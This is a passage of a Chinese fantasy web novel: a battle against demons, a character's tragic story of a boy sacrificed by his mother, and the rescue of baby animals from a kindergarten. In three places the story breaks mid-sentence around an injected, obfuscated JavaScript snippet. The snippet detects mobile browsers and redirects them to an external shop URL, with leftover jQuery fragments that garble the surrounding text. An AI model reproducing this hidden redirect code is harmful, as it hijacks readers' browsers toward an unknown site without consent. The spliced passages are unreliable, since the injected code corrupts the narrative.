“你们把伤员抬回阵地内,里奥,小摩托借我骑一下!叶霆霓,跟我上车!把你威力最大的法术准备好!” “正合我意!”叶霆霓二话不说,便跳上摩托侧斗,她这次没用朱砂,而是咬破自己的中指,凌厉如风地在黄纸上画了起来,“风头刚刚都让卫珑出了,也该让大家看看咱的手段了!” 祝平安一拧油门,慷慨的战歌响了起来,小摩托载着叶霆霓如风一般扑了出去。温尔雅想要拉她没拉住,急道:“穷寇莫追,很危险的!你要去干什么!” “去干什么?我们要去放个大烟花,毛毛、里奥,你一定要看好了!” 祝平安背对着他招了招手,随后,摩托加速的轰鸣声猛地响起,祝平安向着离去的敌人发起了冲锋! “老大!后面好像有人追咱们!” “什么?那个大怪物还不肯放过我们?” “不是那个吃人怪!只是两个女人!” “两个女人单枪匹马就敢追过来?不要命啦!”恶鬼头目扭头一看,还真是只有两个女人,骑着那辆让他厌恶至极的红摩托! 可恶的女人!可恶的摩托!可恶的街道!竟然现在还敢如此嚣张! 拿大吃人怪没办法,我还搞不定你们两个吗?一咬牙,恶鬼头目做出了一个愚蠢的决定,他居然停下不走了,带领手下们摆出架势,他一定要把这两个女人连带那可恶的摩托撕成碎片! 那边厢,叶霆霓的符已经画好,她两指夹住符咒,对祝平安一笑:“饱和式攻击准备完毕,随时可以开火!” “瞄准前方十二点方向,准备发射!!!” 伴随着祝平安的咆哮,二人头顶突然出现浓密的黑云,随着小摩托一路狂飙向前,一百米、五十米、三十米,当祝平安已经能够看清恶鬼头目那狰狞笑容的时候,她猛然向前伸出手臂:“开火!!!” “轰——————!!!!!” 随着叶霆霓向恶鬼们掷出符咒,成百上千条惊雷瞬间从黑云里倾斜而下,闪电倾泻如雨,足足响了半分钟,将半边天空都映成亮银色,站桩不动的八十余名恶鬼避无可避,统统被劈成了外焦里嫩。 黑云消散,闪电收歇,恶鬼如多米诺骨牌一样纷纷倒下,小摩托凯旋而归。祝平安笑嘻嘻地跳下车,奔向伤员们,“我们放的大烟花怎么样?你们喜欢吗?” “牛!”林四梅竖起大拇指。 “漂亮!”里奥大力拍拍祝平安的肩膀。 至于虚弱的已经说不出话的金毛毛,只能撒娇地轻轻摇了摇尾巴,他实在是太喜欢啦! 39. 他的坟墓(上) 战场打扫完毕了,战况也统计出来,此一战,九陵街道折损十八人,伤员七十九人,全歼敌方五百人,实现了1:25的战损比,倘若里奥还在世,必定会凭借这一战彪炳史册。但现在,大家都没有这种心思。 伤员们的情况很不好,金毛毛失血过多陷入了昏迷,里奥在发烧,一块刀刃碎片留在了她身体里,在场的人都不是医生,无法帮她手术。 祝平安也悄悄问过温尔雅能不能施展治愈术,但温尔雅告诉她,如果不把碎片取出就施展治愈术的话,碎片也会长在身体里,所以最好还是送去医院。 原本派驻在这里的应急管理部职员去联系转运车了,在转运车到来之前,祝平安只能加倍细心的护理伤员们。 里奥的房子成了临时安置点,空旷的大厅为伤员提供了平躺的空间,叶霆霓把守门口,司铜则去给居民做登记,其余人则照顾伤员,擦汗、喂药、冷敷、换绷带…… 不知不觉,夜幕低沉,灯光柔和,万籁俱寂,伤员们都疲惫的睡着了,祝平安也觉得眼皮打架,只是强撑着不睡。 “休息一下吧,你自己其实也累的够呛了。”温尔雅柔声劝慰她。 “是啊,我来盯着,你去睡一觉吧。”卫珑也劝说祝平安去睡一会。随着战斗结束,卫珑也逐渐从巨鬼状态恢复了正常,恶鬼对她来说简直是补品一样,现在的她精神奕奕,身形都变得健壮了不少,宛然是队伍里状态最好的一个。 “不行,我不能睡,我们还是聊聊天吧?”祝平安知道,自己如果睡着,一定会做噩梦的。作战时热血上头还能撑得住,现在一闭眼睛,眼前全是残肢断臂,必须得转移一下注意力:“卫珑,跟我说说你自己吧,我知道你家有钱,原来你还是天师一脉的啊?钟馗是你什么人?” “他其实是我舅舅啦。”卫珑有点不好意思,“我娘是他的妹妹,不过因为我爹在经商,所以很忌讳别人提起我们和舅舅的亲戚关系,就怕别人说我爹是依傍着舅舅才能发财。你们千万别说出去,就当不知道。” 你不提,别人就不知道你是钟天师的妹夫吗?在外交际,别人多少都会给钟天师几分薄面吧,卫家得势,怎么可能跟钟天师无关呢?卫爹这人还真是故作清高。“伯父还真是……有风骨。”祝平安勉强找到了一个好词来形容卫珑爹。 “你就直接说爱面子得了。”卫珑倒是很爽快,“爹最在乎别人怎么评价他了,之前我是子女里最出众的,给他争了光,他就最疼我;我闯了祸,被魏校长告到家里,他觉得丢了脸,自然就嫌弃我了。” “我做错了事,打我也好,罚我也好,我都认!他却把我像丢垃圾一样晾在那里,唯恐我带累他的名声。我是他亲生女儿,还比不上他的面子重要吗?现在想想,只觉得爹他这个人……没意思的很。” 夜深人静,卫珑幽幽吐露了自己的心事:“这半年,我很想收到家里的信。我不是盼着爹袒护我,哪怕他写信骂我也没问题,那也说明他还是在乎我。可是,什么都没有……好像他从没有过我这个女儿,对我不闻不问,说实在的,我有一点怨他!” 说到这里,卫珑自己都惊讶了,连忙捂住了嘴:“不不,我不是真的怨恨爹,我只是……” 你只是对他心寒却又不敢承认而已,怕人说你是不孝女。祝平安暗想,真是悲哀啊,不管父母做的有多过分,子女若不满意就是不孝,她自己当然不会因此鄙视卫珑,就不知道这话被温尔雅这种古人听去,又怎么想。 “怨他就怨他,有何不可?”出人意料地是,温尔雅居然颇为赞同卫珑的话,“虚伪的人、冷漠的人、自私的人,不会因生育了子女就变成圣人,他们只是变成了虚伪的父母、冷漠的父母、自私的父母。” “既然不值得敬爱,那为何要敬爱?心内怨他,却硬说不怨……自欺欺人,有何意义?” “难道被人说一声孝顺,你就满足了?” “若是如此,那你倒真不愧是你爹的亲生女儿。”温尔雅轻蔑地抬起眼睛,一字一句道:“都是那么虚伪、自私、把别人的评价看的比自己的感受更重!” 一刹那间,空气仿佛凝固了一般安静,祝平安连忙推推温尔雅:“别这么说!” “……没事。”卫珑脸色很难看,勉强从牙缝里挤出来几个字,“司铜他们怎么还不回来,我出去看看是不是需要我帮忙。” 说罢,卫珑简直是从屋里落荒而逃。祝平安忍不住埋怨温尔雅:“你这是做什么?话说的也太重了!” 温尔雅合上眼睛,做了几个深呼吸,方才忍住自己胸口中那抹怒意。世人浅薄,为种种枷锁拘束,也非一日两日,便是他自己,曾经又何尝不是如此? 他从不曾跟人谈起过类似的话题,也从没有过能够这样坐下来交心的朋友。那些血淋淋的过去,他本以为自己已经全盘遗忘,此时却发现,只要旁人一句话,便能让他深藏心底的旧事全部翻上来,让他看见,那些旧伤依然流脓带血,不曾愈合。 “唉,不过你说的也没错,脓包不挤破早晚要烂成疮,卫珑要是不能面对自己内心的感受,以后跟她爹一辈子都别扭。”祝平安看他脸色不好看,轻轻拍了拍他的手,“我不是说你是错的,但跟朋友说话要委婉点嘛!” 脓包不挤早晚烂成疮吗?温尔雅轻轻地依靠在墙上,心想,她说的真的很有道理。他自己的脓包就未曾挑破,几千年过去,他的心已经烂成了一个黑洞,每天都从里面吹出血腥味的风。 激烈的战斗后,是宁静的夜,温柔的烛火,还有身侧的她。这氛围如此静谧,让人忍不住去吐露自己的心事。何况,如果不说的话……温尔雅苦笑,刀剑无眼,也许明天,他想说都无法说了。 鬼使神差地,温尔雅开口了:“我没事……只是卫珑的话,让我想起了另一个男孩。” “说来听听?”祝平安巴不得现在能换个话题。 “很久很久以前,远的我也不知道具体是什么时候,因为那时候的人类还没有纪年的概念。只知道那时周天子还没有出生,大禹也还没开始治水,人类是一个又一个的部落……”温尔雅斟酌着用词,随着他的讲述,往昔一幕幕也都浮上眼前。 “群山之间的部落,拥有一位女首领。在一个滴水成冰的冬天,女首领产下一个男孩。那孩子出生之时,冰雪消融,草木复苏,春光居然在寒冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837508|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腊月降临。” “这不凡的预兆,惊动了部落的巫师。巫师对女首领说,这个孩子注定不是凡人,未来将会受到神的恩宠,永远地侍奉神前。” “而那男孩也没有辜负这个预言,他渐渐长大了,既聪明,又可爱,人人见了他,都说他是女娲大神的最完美的作品。” “他折下一片树叶,就能吹出好听的小曲;拿到一根树枝,便能在地上画出栩栩如生的图形;他能够听懂百兽的语言,和他们亲切地交流,每当有豺狼恶兽来袭,他就能从鸟鸣中预知危险的来临,通知族人逃出生天……” “那时候,男孩是整个部落的宠儿,每个人都赞美他,说他是世界上最好的孩子。只有一个人不喜欢他,那就是他的母亲。” “男孩很困惑,他试图像妹妹们那样去拥抱母亲,把母亲逗得咯咯笑,但母亲却总是淡淡地把他推开,母亲从不对他笑,当然也不哭,甚至连话都很少说,好像他根本不是她的孩子一样。” “男孩想,一定是因为自己不够乖巧,不够可爱,所以母亲才不喜欢他。于是男孩更加拼命的好好表现,他会摘春天的第一朵野花送给母亲,用幼小的手指将丝帛缝纫成大衣送给母亲,甚至会从动物的言语中偷听哪里有甜美的果实,摘来献给母亲……” “但无论他做什么,母亲都是那副淡淡的样子,不哭,也不笑,他摘来的鲜花被无情地弃置在屋角,果实放到腐烂也没人食用,大衣则成了妹妹的尿布。但是男孩始终没有放弃,他想着,总有一天,母亲会喜欢他……” “当男孩七岁的时候,她的母亲把男孩带到了一个黑黑的小房间,第一次对他和颜悦色地说了话,她告诉男孩,如果男孩以后就呆在这个屋子里不出去,好好的学习母亲让他做的所有事情,母亲就会很高兴。男孩欣喜若狂,他终于有了一个能够赢得母亲喜爱的方法……” 温尔雅的声音突然变了调,祝平安担心地握住了他的手,温尔雅对她勉强一笑,接着说下去:“屋子里只有一个小小的窗,每天正午时分才能透进来一点光亮,就像是一个永夜的牢房。每一天,都会有人把食物和需要他背诵的祷文送进来,男孩很聪明,他很快就背会了那些文字。给他送食物的人会检查他的功课,男孩每背完一卷祷文,都会央求着想要见母亲。” “一天、两天、三天、一个月、半年……母亲始终没来看望他,男孩实在是太想念她了,于是,他开始不吃东西,希望母亲能来看自己,就在他绝食第三天的时候,母亲终于来到了那个小窗边。男孩满怀期待,可母亲并没有抚慰他,而是冷冷地告诉他,她本来打算来探望他的,但男孩闹着不肯吃饭,她很生气,所以以后她再也不会来了。” “一碗食物被扔了进来,男孩绝望的哇哇大哭,像狗一样拼命把饭往嘴里塞,想让母亲看到,他听话了,再也不敢不乖。他哭着跪在地上把一碗饭全部塞完,再抬头看时,窗户已经关上了,再也看不见母亲的脸。” 温尔雅垂下头,被抛弃感席卷而来,他的身子在轻轻的颤抖。祝平安轻轻地拍着他的背,像是在哄那个孤独绝望的小孩。感受到那温暖的安慰,温尔雅鼓起勇气,继续讲下去: 40. 他的坟墓(下) “接下来的十几年里,男孩真的一步都没有走出过屋子。无法离开,无人交流,乌黑的世界是他的坟墓,他还活着,却好像早就已经入了土。每当他忍受不下去的时候,就会想起那天母亲的话,也许这是母亲对他的考验,也许明天,母亲就会来……想到这里,男孩就有了无穷的勇气,于是他又忍下去、忍下去……” “在那漫长的,无边无际的寂寞里,屋角时不时溜进来的老鼠就是男孩唯一的朋友。男孩会把一些食物分给老鼠,作为回报,老鼠也会跟他讲一些部落里发生的事情,就这样,男孩知道了部落里的很多秘密,无耻的背叛、肮脏的奸情、冷酷的谋杀……秘密构成了他的世界,而那些秘密在他这里是绝对安全的,因为没有人会跟他说话。” “忽然有一天,连续三天都没有任何食物送进来,男孩询问外面的守卫,却没有得到任何回应,他哀求、怒吼、砸门,却没有任何人理他,他被世界遗忘了,就好像十几年来一直被人遗忘一样。” “只有老鼠朋友还惦记着他,老鼠从墙洞里爬出来,告诉了男孩最后一个秘密——男孩不被母亲喜爱的秘密。” “原来,男孩的父亲并不是母亲的恋人,母亲根本不知道那男人是谁。年轻的母亲在野外吃了熟过头的野果,被发酵的果子醉倒在地不能动弹,一个陌生的男子来到母亲身边,强迫母亲与他□□,母亲根本没有看清那男人的脸。一切结束之后,母亲呕吐了起来,把那些又酸又苦的果汁吐得一干二净。” “十个月后,母亲产下了他。每次看到他的脸,母亲就会想起那个痛苦的夜晚,以及自己呕吐物的味道。如果没有巫师的预言,母亲本想将他远远的抛到深山,让豺狼鸟兽将这个肮脏的生命啃食的一干二净。他的出生是母亲的耻辱,母亲从没有欢迎过他,也永远……不会爱他。” “之所以养育他,就是为了现在这一刻,男孩作为血脉高贵的首领之子,又学会了所有的祷文,是酬谢神明最完美的祭品。明天,他将会作为人牲被献给后土大神,所以才要饿他三天,以免男孩有力气反抗。” “知道了这个秘密,男孩低沉的笑了起来,为自己,也为母亲。他是如此的不了解母亲,竟然十几年来一直幻想着她会爱他!母亲也是如此的不了解他,竟然不知道,只要她肯开口要求,即使是刀山火海他都会为她去跳,何必用这种手段!” “规定的日子到了,男孩十几年来第一次被拉出了那间黑牢。他已经很虚弱了,任由人们给他沐浴更衣。人们绑缚住他的手脚,给他戴上繁星一样美丽的宝石,把他放在一个堆满了鲜花、果实和丝帛的车辇上,打扮的好像传说中绮丽威仪的神明。” “祭井已经挖掘完毕,作为首领,母亲要亲手将车辇推落祭井,向神明奉上祭品。男孩仰起头看上去,母亲的头上已经有了白发,他坐在车辇上的丝帛堆里,感受着车辇随轮子一晃一晃,就好像回到了摇篮里。他突然想起,这是母亲第一次推着自己走在大街上,就像是母亲以前用推车推着妹妹一样,不由得轻轻一笑。” “巫师祝祷三次,众人行礼如仪,恭请神灵收取祭品的铃鼓咚咚咚响起,那个出生起就注定的时刻到了。母亲肃穆地将他推到祭井前,短短的一段路,是母子俩二十年唯一单独相处的时间,在跌落祭井前,男孩终于忍不住问了母亲那个问题。” “他问:如果你不会来看我,为什么要骗我?” “男孩问了那句话之后,紧盯着母亲的脸,他希望能从母亲脸上看到愧疚、不忍、心虚、或者是愤怒、讽刺、怨恨也可以……可他看见,母亲的脸上只有一片茫然,她说:什么?” “他是多么渴望她,把她放在生命至高的位置。她是他的母亲、他的神明、他的主宰,他献给她鲜花、丝帛和最甜美的果实,他为她微笑、哭泣、把能做的都做了一遍,却始终不能感动她的心。” “无数个满含期待的日日夜夜,他跪在那扇窗子底下,向祖先祈祷,向大地祈祷,向天上众神祈祷……她也许明天会来,也许明天不会来,一切听凭她的心意,他全无办法,只能饱含着热情,一直一直去等待。” “可她对这一切,只是面露茫然。他的热情、他的心意、甚至他的存在……她统统都忘了,或者可以说,从来就不想记得。” “鲜花、丝帛、果实、还有宝石一样闪闪发亮的男孩一起跌落祭井,大地之神收到了最好的祭品,满意地一阵摇颤。祭井坍塌,大地合拢,祭祀成功,民众欢腾,女首领的脸上也露出满意的微笑。 “这一次,他将生命还给她,她终于笑了。” 故事说到这里就戛然而止,温尔雅依靠着墙壁,闭着眼睛,他的脸色青白,恍如一具死去千年的僵尸,古怪而寒冷。 可祝平安却丝毫没有感到害怕,一种柔软而悲伤的情绪盈满了她的心,让她忘记了一切,只记得他是那个小小的、可怜的男孩。她冲动地将温尔雅的头揽进自己的怀里,感受到那个躯体因为惊讶变得更加僵直。 “我对那个男孩很抱歉……非常抱歉……”她喃喃着,眼泪一地一滴地落在温尔雅的头发上,她用温暖的手轻柔的抚摸着他的脊背,感受着怀中躯体的逐渐软化放松下来,“这个世界有时候就是很不讲道理,男孩没有错,男孩很好,男孩有权利去恨任何一个对他不好的人。” “男孩接下来的日子,会过的越来越好,他会有很多朋友,他会得到真正的感情,总有一天,他还能像小说里的那些男主角那样逆袭,狠狠报复那些人!” 这话真有点孩子气了,可听了却那么窝心,温尔雅把头埋在那个温暖的怀抱里,只觉如投入温软舒适的襁褓,满怀眷恋,甚至不想抬起。他听着祝平安叽叽咕咕地背诵着一些一听就是从小说里照搬过来的桥段:“比如说,把欺负过自己的人都贬为阶下囚,或者狠狠羞辱,让他们后悔到痛苦流涕,争相跪下看你脸色……” 她唠唠叨叨说了半天,他只是倾听,空气那么安静,相依相偎的温度也是暖洋洋的,很快,祝平安的声音开始忽高忽低起来,她其实也已经很累了,只是强撑罢了:“再用点什么酷刑,凌迟啦炮烙啦虿盆啦……” 一语未毕,她睡着了。温尔雅感受到她胸口起伏平缓,呼吸绵长均匀,轻轻从她怀中挣脱出来,凝视着那张睡脸,她会做什么梦呢?会梦到铁与血的战场,还是在永夜里徘徊的孤独男孩? 他将她的头枕到自己腿上,换了一个舒服的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837509|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿势,抖开一条毛毯盖住了她。随后,他自己也阖上眼,他倒是很清楚自己会做什么梦,那个会被永远铭记的,却一点都不爽快的、令人耻于开口的故事结局。 祭井合拢,神收下了祭品。人牲并非后土大神喜爱的礼物,但这次收到的男孩是如此聪明漂亮,是神也为之侧目的完美生灵。他获得了神的垂青,成为了侍奉于大神左右的祭司,而那些深藏心中的黑暗秘密也滋养了他,他能够看透幽微的人心,玩弄诡秘的阴谋,这些都辅助他一步一步地向上攀登,在几十年中,走到了首席大祭司之位。 就在他成为大祭司之后,他曾经悄悄回过一次地面上,那时的他想的也跟祝平安说的一样:让辜负他的人都在他面前下跪哀求,或是报复的更狠一点,让落石将整个部落掩埋…… 然而等他回到部落的时候,却发现那里已经是一片冷寂,农田成为荒野,屋舍破败倒伏。沧海桑田在这个时代并不是神话,地块漂移,高山隆起,也许是一次地震,也许是一次暴雨,部落便决定迁走。他看见只有几个小小的坟包睡在那里,其中就有母亲的坟墓,从那上面的荒草来看,母亲去世已经很多年了。 他回来了,含着恨,掌握着无以伦比的力量,期望她为他的力量震惊、恐惧、或者不屑一顾。 但她只是宁静地睡在那个坟墓里,对他毫不在乎也毫无表示,任由他怒吼哀求、千呼万唤也不可能回转。 一如从前一样。 他本以为自己会愤怒地劈毁那个坟墓的,可是,他却只是伏在坟前痛哭起来—— 即使他已经死去,即使她也已经死去,即使他已经成为能够移山填海的大祭司,即使她把他的心撕碎成千万片…… 可他还是羞怯地、卑贱地、用那颗破碎成了千万片的心在爱着她,为她的冷漠悲哀,为她的死去哭泣。 而这一生一世,她再也不可能看他一眼。 一阵脚步声把祝平安从梦里惊醒,她不记得自己梦了什么,只觉得有一阵刻骨悲伤,在心头萦绕不去。她揉揉眼睛,这才发现自己不知道什么时候倒在温尔雅腿上睡着了,此时,温尔雅也在睡梦中皱眉挣扎,似乎是做了噩梦。 想到故事里的男孩,祝平安心疼地轻轻拍了拍温尔雅,感觉到她的拍抚,温尔雅的眉头舒展开了。她这才出门寻找脚步声的来源,原来应急管理部的转运车已经来了,一些居民已经被组织起来上车了,司铜和卫珑几人把转运过程安置的井井有条,看来是发现他们睡着了,就没叫他们。 见她来了,司铜便问:“这一片的居民会跟转运车走,但伤员要送东城区的大医院才行,必须分头行动。应急管理部没那么多人手护送,他们提出让我们去送伤员,您看怎么办? 祝平安心说应急管理部还真是会偷懒,把这个棘手的活塞给她。转运伤员跟转运健康人根本不是一个难度,但金毛毛跟林四梅现在的情况都不好,再加上里奥也在伤员中,她亲自送去也更放心,便点了头:“没问题。” 好在应急管理部也没有太过分,给她们留下了一辆专门转运伤员的车子,还有一些应急的止痛药。祝平安将大家叫醒,将伤员们送上车子,一行人便浩浩荡荡地向着医院出发了。 41. 小小英雄 “展护卫,中心城区作乱恶鬼已经完全清除,请您询问指挥中心,给出下一步指示。” 就在九陵街道打的如火如荼时,张松鹤也率领着大部队在中心城区进行了多次扫荡,好在出逃的恶鬼多是想要逃命,一出来就直奔深山老林而去,作乱的只是十分之一而已,在多方合力下,五天内就基本全被歼灭。九陵街道的战绩他也有所耳闻,听说祝平安的小队全歼五百恶鬼,每次去开会他都觉得意气风发,颇为祝平安而自豪。 “包大人已经事先指示过了,若是恶鬼已经如数歼灭,请张部长加入天界援兵,共同捉拿荧惑星君。”展护卫翻阅往来公文,出示给张松鹤看。 “那么敢问荧惑星君现在在哪里?天界援军又在哪呢?”张松鹤询问细节了。 呃……在哪呢? 展护卫也卡壳了,一向沉着的他也忍不住举头仰望上苍,在心里暗暗发问了:“这个人曹官,到底什么时候才能把援军带回来?” 天界,已经憔悴的不成人样的魏玄成看着慢慢悠悠边谈边笑的仙官们,已经连脾气都发不出来了,离开天界五十多年,他现在深刻的了解到,效率就是生命。可惜地府行政体系虽然已经跑步进入现代化,天庭却还是一副古董式慢悠悠的样子,他再急也得按着规矩来。 那天他去往南天门值班室递牌子,结果值班的天兵说他上级外出巡逻不在,一应紧急通报都需要上级定夺,他不敢轻举妄动,只能等上级回来再说。 这一等,就等了一上午,而这还只是魏玄成受苦受难之路的开始。紧急通道共三层上报,每一层都要魏玄成重新论述一遍事件情况、紧急程度、见玉帝的必要性,要多繁琐有多烦琐。 好不容易过了这三道关,魏玄成被批准前往瑶池面见玉帝,然而瑶池在举行玉帝寿诞,那可是天界的一大盛会,安检非常严格,魏玄成被负责安检工作的天将拉去里三层外三层的搜了一遍,确认没问题的才放行。 进到瑶池,负责举办这次盛会的七仙女认为魏玄成“衣衫褴褛、御前失仪”,不准他进殿面圣,逼得魏玄成不得不又花了半个时辰去沐浴更衣。等他被放进会场,寿宴已经开始,诸位神仙都举杯轮流上前为玉帝祝酒,要等这轮敬酒结束才能接见他。 魏玄成举着公文在后面干着急,心里一片冰冷。地府万千生灵正在挣扎求存,却好像还不如让玉帝多听两句祝酒词重要。然而两个天将把门拦得死死的,他无缝可钻,只能硬捱,到了此时,他上天已经有两天了。 夜里,玉帝终于抽出三分钟的时间见了他,听完魏玄成的急报,便若有若无地点了下头,令托塔李天王平定荧惑星君之乱。 魏玄成松了口气,本以为这就可以带着李天王下界,结果李天王又是个做事严谨、处处留痕的性格,不将事实调查清楚绝不轻举妄动,下界日期一下被拉到无限长。 先是调查荧惑星君是否在岗,后是传讯荧惑星君的好友太白星君,了解萤火星君最近的举动和思想状况,以及他所爱女子究竟是谁,有何亲朋好友……李天王不打无准备之仗,魏玄成则被他逼得差点发疯。 就在魏玄成五次扬言上告、七次大闹会议室、三次威胁要吊死在李天王家门口之后,发兵进度终于在三天后推到了最后一关,后勤已经谈妥,目前已经到了决定谁去、去多少人、什么时候去的问题。 与会众人都一副懒怠动的样子,巨灵神推四天王,王灵官推大力神,任凭魏玄成如何诉说地府已经生灵涂炭,都是笑着打哈哈,谁也不愿带头抓捕荧惑星君,以免得罪人。 最终,还是只能请李天王的儿子哪吒三太子任前锋,千里眼顺风耳为副将,点一万兵马下界捉拿荧惑星君,这时,距离荧惑星君作乱都过去五天了。 祝平安那边都已经把伤员们送到医院安顿好了,经诊断,金毛毛和林四梅都得住院。这下,她这个十人小组只剩下六人,指挥中心对他们发出了召回令,认为这一组的情况已经不适合单独行动,需要与其他支援小队进行混编。 里奥和金毛毛都是全身缠满绷带,暂时不能动,林四梅拄着拐杖到门口送他们:“不用担心,我会好好照顾他们的。” 没有儿女情长依依不舍,祝平安重重拥抱了林四梅一下,便转身离去,经历了战场之后,她已经是一个真正的战士了。 卫珑驾驶着送魂鸟在天空中飞行,洪水已经褪去,火焰也只剩下零星几簇,能看到地面的厚厚淤泥,还有人开始清运废墟,试图重建家园,毁灭之后必有新生,人类的韧性,即使是神灵也不能够轻易毁灭。 下面的街道逐渐出现了祝平安熟悉的轮廓,那里是山海幼儿园。灾难之初,除了家里,祝平安最惦念的就是这里,只是身上一直有任务,不好擅离职守罢了。现在路过,叫她如何忍得住?立刻便叫卫珑下去看看,有什么需要他们帮忙的。 温尔雅先跳下车,就伸手想要接祝平安下来,祝平安摆摆手示意他不用多礼,自己跳了下来。温尔雅的手尴尬地伸在空气中,反而是司铜不明所以地扶着他的手下了车:“干嘛这么客气?我没那么不济,下车还是下得了!” 默默抽回了手,温尔雅装作什么事都没发生过一样,转身离开了,徒留司铜在后面摸不着头脑。 山海幼儿园的保育员宿舍被烧塌了,幼崽栏舍还算完好,院子的栅栏和玩具有被毁坏的痕迹,还有大片的鲜血,看着令人不寒而栗。屋内却是一片寂静,一个人都没有,连此前种在后院的小森都没了踪影,只留下一个大坑。 是幼崽们都已经转移了吗?祝平安在屋子转了两圈,疑惑地想。 “不对劲。”白子欣摸着下巴,笃定地说:“屋子里有人!” 跟祝平安不同,白子欣不愧是狄仁杰老师的高徒,短短几分钟,他已经看出许多异样之处:“你伸手摸摸这张床,屋内的床铺还是暖的,不久之前还有人睡过,床头还有打翻的药水。” “厕所的台盆是湿的,半天之内肯定有人使用过水龙头,导致沾上的水渍还没干。” “最可疑的地方在这里,地毯很凌乱,还有拖拽形成的痕迹,好像是大家撤离的很急,但食品柜却是井井有条,没有被翻乱,如果是慌慌张张的撤走,肯定不会形成这种痕迹——这里面有矛盾!” “那按照白神探的意思,这里到底发生过什么事情呢?”叶霆霓不想听推理过程,直接就开始问答案了。 “答案就是这里的人都没有撤走,只是听见我们的声音后藏起来了,估计把我们当成坏人了吧。”白子欣继续仔细地观察屋内的痕迹,不时在屋里来回跑动,试图还原案发现场。 跟着白子欣的推理,大家一路走到后院,白子欣跪在院中,一点一点去摸索草皮,忽然,他眼前一亮,猛然掀起一块草皮,露出了一个活板门:“在这里!” 他一伸手就把活板门掀起来,祝平安还没来得及阻止他,就听见白子欣嗷嗷叫了一声,仰面倒下去,眼眶上巨大一个熊猫眼。 再一看,一只袋鼠宝宝从活板门里探出身子,对着他们威胁地晃动拳头。接着又是两声奶声奶气的吼声,老虎宝宝和狮子宝宝从门里蹿了出来,亮出爪子扑到白子欣脸上,登时两兽一人滚成一团。 “哎呦!别打别打,我们是好人!”祝平安跟叶霆霓连忙扑上去拉架,一人一个把幼崽们抱起来,两只幼崽的战斗力不容小觑,幸好白子欣这六个月的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837510|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战斗实训也不是白上的,第一时间把头脸等要害都护住了,否则还真有可能被幼崽们误杀。 被祝平安抱住的老虎宝宝扭头就想咬她的手腕,刚刚凑上去就闻到了熟悉的气味,改咬为舔,它激动地嘤嘤起来。 “嘤嘤——”(是差役姐姐!差役姐姐你是来保护我们的吗?) “嗷吼!”(是呀!你们这是怎么啦,快跟我说说,姐姐一定会帮你!) 抱着嘤嘤哭诉的幼崽,祝平安一行人走到了活板门下,地下的空间居然还真不小,山海幼儿园的幼崽们几乎都在这个地下空间躲着,空间一角摞着不少食物,还有一个壁炉,给阴暗潮湿的空间带来了一点暖意。 壁炉前躺着一个虚弱的青年男子,还有一个巨大的花盆,花盆里,正是只剩下一片叶子的小森。发现祝平安的身影,小森再次激动地摇摆起来:“姐姐!你来了,快救救阿满吧!” 很快,在幼崽们的七嘴八舌下,祝平安拼凑出了在山海幼儿园发生的故事。 山海幼儿园地处西城,城里乱起来的那天,保育员宿舍也燃起大火,许多保育员在睡梦中就被烧死,只有几名保育员逃了出来。 见城内大乱,他们立刻整理了食物,把幼崽们领到了这个地下空间,这里本来是为了给一些需要冬眠的幼崽们建造的冬眠室,隐蔽安全,正适合避难。 将大部分幼崽都安顿好后,几名保育员又返回地面上,争分夺秒地开始转移小森。他们把小森从地面挖了出来,转移到了一个大花盆里,这才顺利的把小森也带到了这个地下室。 然而其他的宝宝可以吃罐头食物,小森却每天都需要阳光才能保持健康,没有办法,几名保育员每天都得将小森搬上地面来汲取几小时的日照。 两天前,几名恶鬼来到了这个街区,发现了正在陪着小森晒太阳的保育员们。一番屠戮过后,其他三名保育员们不幸被杀,只有这名叫阿满的青年运气好,只是受了重伤。 最后一个大人倒下了,幼崽们反而坚强起来。虽然它们很害怕,但它们都知道,阿满是为了保护大家才受伤的,所以它们也要尽其所能的保护阿满! 接下来这几天,都是幼崽们在照顾阿满。老虎宝宝和狮子宝宝合力把阿满拖到房间的床上,猴子宝宝给他上药,其他的幼崽们则轮流承担喂饭、喂水、巡逻等任务,还有人舔着阿满的脸来安慰他。 发现有人接近时,幼崽们又合力将阿满拖回地下室隐藏起来,也没忘记带上不能动的小森。在这四十个小小英雄的守护下,阿满保住了一条命,撑到了救援来临的时候。 “阿满和幼崽们必须转移。”听完事情经过,祝平安立刻下了决定。 “可是我们没有接到这个任务,这件事还是交给指挥中心决定比较好吧?”司铜提出了反对意见。 